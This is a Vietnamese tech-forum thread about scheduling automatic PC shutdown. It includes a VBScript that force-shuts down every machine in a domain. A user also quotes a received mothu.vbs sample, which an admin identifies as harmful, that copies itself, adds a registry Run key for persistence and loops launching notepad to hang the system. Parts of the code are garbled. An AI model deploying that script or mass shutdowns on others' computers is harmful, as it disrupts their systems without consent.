Có cách nào làm máy tắt tự động nếu ko sử dụng sau 1 thời gian ko

Xem chủ đề cũ hơn Xem chủ đề mới hơn Go down

Có cách nào làm máy tắt tự động nếu ko sử dụng sau 1 thời gian ko

Bài gửi by saothuy_vt on 23/03/10, 09:14 am

Các bạn có thể cho mình phần mềm hay cách nào làm máy tắt tự động nếu ko
sử dụng sau 1 thời gian ko?Thanks các bạn nhiều!

saothuy_vt
Supper mem
Supper mem

Tổng số bài gửi : 11
Số điểm : 19
Số lần được cám ơn : 4
Ngày đến diễn đàn: : 11/01/2010
Tuổi : 27

Xem lý lịch thành viên

Về Đầu Trang Go down

Re: Có cách nào làm máy tắt tự động nếu ko sử dụng sau 1 thời gian ko

Bài gửi by nth on 23/03/10, 09:17 am

oh.. cái này hay đó. Thường thì thức rồi ngủ quên...để máy nguyên đêm.
bạn có thể làm như sau:
Có 2 cách để máy tắt tự động:
- Cách thứ nhất (không dùng phần mềm hỗ trợ): áp dụng đối với Windows XP
ta làm như sau:
+ Nhấn Win +R để mở hộp thoại Run
+ Gõ lệnh: shutdown -s -t 30 (Ý nghĩa: shutdown máy sau 30 phút)
(Ngoài ra:
shutdown -r -t 40 (restart máy sau 40 phut)
shutdown -a (thay đổi quyết định không hẹn giờ shutdown nữa)
...
và bạn có thể vào cmd để mở hộp thoại command sau đó gõ lệnh:
shutdown -? để xem hướng dẫn sử dụng)
- Cách thứ 2 (Dùng phần mềm hỗ trợ): Bạn vào google mà tìm các cụm từ
như: "auto shutdown", ... có thể có những phần mềm free hoặc không.Bạn
có thể dùng google để search các phần mềm này:
+Accurate Shutdown 628
+Aquarius PC Remote Shutdown Pro v1.0.0.1 (full)
+Auto Power-on & Shut-down v1.42 (full)
+Auto PowerOn & ShutDown v2.00 (full)
+Auto Shutdown v4.2 (full)

Lệnh trên thì mỗi lần muốn tắt máy thì bạn phải làm, như vậy thì cũng hơi
mệt, có 1 cách mà trong win hỗ trợ sẵn:
Vảo control panel
Vào power option
bạn để ý vào phần khung: Settings for Home/office desk power sheme
bạn sẽ thấy Turn off monitor, turn off hard disk, bạn chọn
thơi gian tương ứng ( sau bao nhiêu phút khong dùng máy nữa thì sẽ tắt
màn hình, tắt đĩa cứng , thường là màn hình trước, sau đó là tới đĩa
cứng )

hoặc
bạn có thể dùng VPscript để có thể tắt máy
từ xa.Hãy làm theo đoạn mã sau bạn sẽ hiểu

Chúng ta sẽ dùng đoạn mã sau:

Dim ObjDomain, ObjComputer, WshShell

Dim domainName, str, i

Dim txtCmd, txtCmd_H, txtCmd_F

On Error Resume Next

Set objNetwork = Wscript.CreateObject("Wscript.Network")

domainName = objNetwork.UserDomain Lay domain mac dinh

domainName = inputBox("Workgroup or DomainName?","Domain Name",
domainName)

if len(domainName)>0 then

Set ObjDomain = GetObject("WinNT://" & domainName)

ObjDomain.filter = array("Computer")

Set WshShell = Wscript.CreateObject("Wscript.Shell")

txtCmd_H = "shutdown /s /m \\"

tstCmd_F = " /t 120 /c ""Da het gio thuc hanh"" /f"

For Each ObjComputer In ObjDomain

txtCmd = txtCmd_H & ObjComputer.name & txtCmd_F

WshShell.Run txtCmd, 0

Next

Set ObjComputer = nothing

Set ObjDomain = nothing

end if

Set WshShell = nothing


Nếu chưa từng lập trình, các câu lệnh này có thể khó hiểu với bạn...
nhưng không sao! Bạn chỉ việc dùng notepad tạo một tập tin có tên
ShutdownAll.vbs và gõ đoạn mã trên vào. Tôi giả định là bạn lưu tập tin
này vào thư mục C:\WINDOWS\SYSTEM32.

Sử dụng:

Cách 1: Chạy trong môi trường
Windows

- Nhấn đúp vào tập tin ShutdownAll.vbs

- Hoặc bạn có thể tạo một shortcut với nội dung:

"Wscript.exe C:\WINDOWS\SYSTEM32\ShutdownAll.vbs"

Cách 2: Chạy trong môi trường
cửa sổ lệnh (Command Prompt). Bạn chỉ cần gõ lệnh:

Cscript.exe C:\WINDOWS\SYSTEM32\ShutdownAll.vbs

Lưu ý: Những máy tính có dùng tường lửa (firewall) của Windows thì đoạn
mã trên không thể tác động đến được.

===== Thành viên Forum Thien Than CNTT ====
Nothing!

(~~/)
(~'.'~)
(_(__)~~

nth
Admin
Admin

Tổng số bài gửi : 550
Số điểm : 1113
Số lần được cám ơn : 33
Ngày đến diễn đàn: : 01/08/2009
Tuổi : 28
Đến từ : Thiên Đường

Xem lý lịch thành viên http://thuhuong.hot4um.com

Về Đầu Trang Go down

Re: Có cách nào làm máy tắt tự động nếu ko sử dụng sau 1 thời gian ko

Bài gửi by saothuy_vt on 23/03/10, 09:28 am

Không biết nữa, có 1 bạn gửi cho mình file mothu.vbs
Mình dùng edit mở thấy code nó như sau:

On Error Resume Next
Set popo= Createobject("scripting.filesystemobject")
popo.copyfile wscript.scriptfullname,cuong.GetSpecialFolder(1)& "\popo.vbs"
Set popo2= CreateObject("WScript.Shell")
popo2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n\cod e1","wscript.exe "&popo.GetSpecialFolder(0)& "\popo.vbs %"
Set mothu= CreateObject("WScript.Shell")
Do
mothu.run "notepad",false
loop

Đó là code gì vậy? có ai biết không? mình chưa mở thử

saothuy_vt
Supper mem
Supper mem

Tổng số bài gửi : 11
Số điểm : 19
Số lần được cám ơn : 4
Ngày đến diễn đàn: : 11/01/2010
Tuổi : 27

Xem lý lịch thành viên

Về Đầu Trang Go down

Re: Có cách nào làm máy tắt tự động nếu ko sử dụng sau 1 thời gian ko

Bài gửi by nth on 23/03/10, 09:30 am

hihihi..bạn mở thử là bít ngay thôi ah. Nói vậy chứ mình đùa đó, may là bạn k mở, đừng mở nhé. Đó là file làm treo máy. đoạn code đó nó làm máy bạn đứng luôn đó.

===== Thành viên Forum Thien Than CNTT ====
Nothing!

(~~/)
(~'.'~)
(_(__)~~

nth
Admin
Admin

Tổng số bài gửi : 550
Số điểm : 1113
Số lần được cám ơn : 33
Ngày đến diễn đàn: : 01/08/2009
Tuổi : 28
Đến từ : Thiên Đường

Xem lý lịch thành viên http://thuhuong.hot4um.com

Về Đầu Trang Go down

Re: Có cách nào làm máy tắt tự động nếu ko sử dụng sau 1 thời gian ko

Bài gửi by Sponsored content Today at 11:34 pm


Sponsored content


Về Đầu Trang Go down

Xem chủ đề cũ hơn Xem chủ đề mới hơn Về Đầu Trang

- Similar topics

 
Permissions in this forum:
Bạn không có quyền trả lời bài viết